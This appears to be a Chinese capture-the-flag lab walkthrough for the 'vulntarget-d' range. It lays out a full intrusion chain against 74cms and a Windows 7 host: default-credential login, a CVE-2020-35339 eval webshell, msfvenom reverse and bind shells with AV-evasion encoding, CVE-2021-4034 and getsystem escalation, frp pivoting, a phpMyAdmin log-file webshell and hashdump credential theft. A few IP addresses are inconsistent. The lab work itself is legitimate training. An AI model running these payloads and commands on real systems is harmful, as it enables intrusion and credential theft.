vulntarget-d
环境准备:
拓补图:
机器信息:
#攻击机
OS:kali
NIC:192.168.111.128
#Web机器
OS:Ubuntu
Server:骑士CMS/宝塔
NIC1:192.168.111.137
NIC2:10.0.20.129
userpass:eval/vulntarget
#内网机器
OS:windows7
Server:phpstudy
NIC:10.0.20.128
userpass:crow/admin
流程总结:
骑士cms任意代码执行(CVE-2020-35339)->msf反向shell->CVE-2021-4034提权->内网打点->横向移动->phpmyadmin写🐎->msf正向shell->getsystem提权->hashdump抓密码->远程登入拿flag
渗透流程:
通过端口扫描工具,查找靶机IP及端口信息,此处靶机的IP为192.168.111.137,直接扫描靶机IP信息,81端口服务部署了骑士cms,且版本信息为6.0.20
进入后台admin/admin进去
POST /index.php?m=admin&c=index&a=login HTTP/1.1
Host: 192.168.111.137:81
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Referer: http://192.168.111.136:81/index.php?m=admin&c=index&a=login
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.111.136:81
Cookie: PHPSESSID=bmcf35ivqa5a1inch9ev74e840; think_template=default; think_language=zh-CN
Content-Length: 107
username=admin&password=admin&geetest_challenge=&geetest_validate=&geetest_seccode=&token=&Ticket=&Randstr=
然后利用 CVE-2020-35339写🐎上线
http://127.0.0.1/.',eval($_POST[a]),'/.com
发现www权限 现在就提权了
写个msf反向shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.137 LPORT=1111 -f elf > 2.elf
然后上传之后记得chmod一下
#提权
chmod 777 2.elf
#开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.129
set lport 1111
run
最终上线
交互一下
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后这里就是CVE-2021-4034提权了
下面开始进行内网信息收集
发现还有一个内网 ip 10.0.20.129,那咱们进行frp内网穿透
添加代理(FRP):
服务端:
frpc.ini:bind_port = 12345
客户端:
[common]
server_addr = 192.168.111.137
server_port = 12345
[plugin_socks]
type = tcp
remote_port = 8090
plugin = socks5
然后运行
kali:
./frps -c frpx.ini
ubuntu:
./frpc -c frpc.ini
然后msf扫一下主机存活
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 21,22,23,80,443,8080,3389,445
PORTS => 21,22,23,80,443,8080,3389,445
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.0.20.0/24
RHOSTS => 10.0.20.0/24
msf6 auxiliary(scanner/portscan/tcp) > set threads 50
threads => 50
msf6 auxiliary(scanner/portscan/tcp) > run
发现128存活 进行下一步详细扫描
proxychains nmap -sT -Pn 10.0.20.128 -p22,23,80,139,445,1433,3306,3389,6379,8080
记得win开一下phpstudy
目录扫描发现phpmyadmin
弱口令root/root进去后台
下一步就是写🐎了
show global variables like "%genera%";
默认是关闭的所以先将 general_log 设置为on,执行
set global general_log=on;
SET global general_log_file='C:/phpstudy/PHPTutorial/WWW/cmd.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
蚁剑弄个代理连
看下内网信息发现存在火绒
那接下来就是免杀 可以看这篇文章
【工具分享】免杀360&火绒的shellcode加载器 (qq.com)
写个msf正向shell
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' lport=1234 -f raw -o crowsec.jpg
msf开启监听,
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 2222
set rhost 10.0.20.129
木马直接运行:
然后getsystem提权
hashdump抓密码
远程获得flag
知识总结:
1.骑士cms任意代码执行(CVE-2020-35339)
2.CVE-2021-4034提权
3.phpmyadmin写🐎
4.getsystem提权
5.hashdump抓密码
6.内网frp穿透
7.MSF正反shell生产以及免杀